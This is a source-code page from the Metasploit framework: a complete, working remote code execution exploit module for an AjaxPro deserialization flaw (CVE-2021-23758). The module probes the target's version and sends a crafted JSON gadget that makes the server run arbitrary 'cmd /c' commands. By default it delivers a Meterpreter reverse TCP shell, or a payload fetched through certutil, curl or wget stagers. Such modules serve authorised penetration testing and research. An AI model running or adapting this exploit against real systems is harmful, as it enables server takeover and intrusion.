Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/ajaxpro_deserialization_rce.rb
32595 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'AjaxPro Deserialization Remote Code Execution',
19
'Description' => %q{
20
This module leverages an insecure deserialization of data to get
21
remote code execution on the target OS in the context of the user
22
running the website which utilized AjaxPro.
23
24
To achieve code execution, the module will construct some JSON data
25
which will be sent to the target. This data will be deserialized by
26
the AjaxPro JsonDeserializer and will trigger the execution of the
27
payload.
28
29
All AjaxPro versions prior to 21.10.30.1 are vulnerable to this
30
issue, and a vulnerable method which can be used to trigger the
31
deserialization exists in the default AjaxPro namespace.
32
33
AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom
34
method that accepts a parameter of type that is assignable from
35
`ObjectDataProvider` (e.g. `object`) exists, the vulnerability can
36
still be exploited.
37
38
This module has been tested successfully against official AjaxPro on
39
version 7.7.31.1 without any modification, and on version 21.10.30.1
40
with a custom vulnerable method added.
41
},
42
'Author' => [
43
'Hans-Martin Münch (MOGWAI LABS)', # Discovery
44
'Jemmy Wang' # MSF Module
45
],
46
'References' => [
47
['CVE', '2021-23758'],
48
['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']
49
],
50
'DisclosureDate' => '2021-12-03',
51
'License' => MSF_LICENSE,
52
'Privileged' => false,
53
'Targets' => [
54
[
55
'Windows Command',
56
{
57
'Platform' => 'win',
58
'Arch' => ARCH_CMD,
59
'Type' => :win_cmd,
60
'DefaultOptions' => {
61
'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
62
}
63
}
64
],
65
[
66
'Windows Dropper',
67
{
68
'Platform' => 'win',
69
'Arch' => [ARCH_X86, ARCH_X64],
70
'Type' => :win_dropper,
71
'DefaultOptions' => {
72
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
73
'CMDSTAGER::FLAVOR' => 'certutil'
74
},
75
'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]
76
}
77
],
78
],
79
'DefaultOptions' => { 'WfsDelay' => 30 },
80
'DefaultTarget' => 0,
81
'Notes' => {
82
'Stability' => [CRASH_SAFE],
83
'Reliability' => [REPEATABLE_SESSION],
84
'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]
85
}
86
)
87
)
88
89
register_options([
90
OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),
91
OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),
92
OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),
93
OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])
94
])
95
96
@ajax_pro = { ID: 'AjaxPro' }
97
end
98
99
def check
100
res = send_request_cgi(
101
'method' => 'GET',
102
'uri' => normalize_uri(target_uri.path, 'core.ashx'),
103
'keep_cookies' => true
104
)
105
unless res
106
return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")
107
end
108
109
unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')
110
return CheckCode::Safe('Is not AjaxPro?')
111
end
112
113
unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)
114
return CheckCode::Detected('Failed to get AjaxPro ID.')
115
end
116
117
@ajax_pro[:ID] = cap[0]
118
119
unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)
120
return CheckCode::Detected('Failed to get AjaxPro version.')
121
end
122
123
@ajax_pro[:version] = cap[0]
124
125
if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')
126
return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")
127
end
128
129
res = send_request_cgi(
130
'method' => 'GET',
131
'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
132
'keep_cookies' => true
133
)
134
unless res
135
return CheckCode::Appears('Failed to check if the target method exists.')
136
end
137
138
unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)
139
return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")
140
end
141
142
CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")
143
end
144
145
def execute_command(cmd, _opts = {})
146
vprint_status("Executing command: #{cmd}")
147
json_post_data = JSON.generate(
148
{
149
"#{datastore['Parameter']}": {
150
__type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
151
MethodName: 'Start',
152
ObjectInstance: {
153
__type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
154
StartInfo: {
155
__type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
156
FileName: 'cmd',
157
Arguments: "/c #{cmd}"
158
}
159
}
160
}
161
}
162
)
163
164
res = send_request_cgi({
165
'method' => 'POST',
166
'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
167
'ctype' => 'text/plain; charset=utf-8',
168
'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },
169
'data' => json_post_data
170
})
171
unless res
172
fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")
173
end
174
175
unless res.code == 200
176
fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")
177
end
178
end
179
180
def exploit
181
case target['Type']
182
when :win_cmd
183
execute_command(payload.encoded)
184
when :win_dropper
185
execute_cmdstager(background: true, delay: 1)
186
end
187
end
188
end
189
190